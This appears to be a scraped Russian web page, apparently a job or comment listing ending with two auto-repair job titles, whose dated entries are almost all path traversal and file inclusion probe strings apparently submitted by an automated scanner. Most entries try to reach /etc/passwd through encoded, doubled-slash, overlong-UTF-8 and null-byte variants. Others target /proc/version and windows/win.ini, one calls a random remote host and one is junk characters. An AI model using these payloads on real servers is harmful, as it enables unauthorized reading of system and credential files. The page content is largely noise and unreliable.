)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
29.апр.2024
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
29.апр.2024
invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
29.апр.2024
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
29.апр.2024
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
29.апр.2024
../././../././../././../././../././../././../././../././../././../././etc/passwd
29.апр.2024
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
29.апр.2024
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
29.апр.2024
^(#$!@#$)(()))******
29.апр.2024
/.././.././.././.././.././.././.././../etc/./passwd%00
29.апр.2024
%2fetc%2fpasswd
29.апр.2024
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
29.апр.2024
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
29.апр.2024
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
29.апр.2024
../../../../../../../../../../etc/passwd%00.jpg
29.апр.2024
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
29.апр.2024
../../../../../../../../../../../../../../../proc/version
29.апр.2024
file:///etc/passwd
29.апр.2024
../../../../../../../../../../../../../../windows/win.ini
Мастер-консультант слесарного участка
Автомеханик/автослесарь
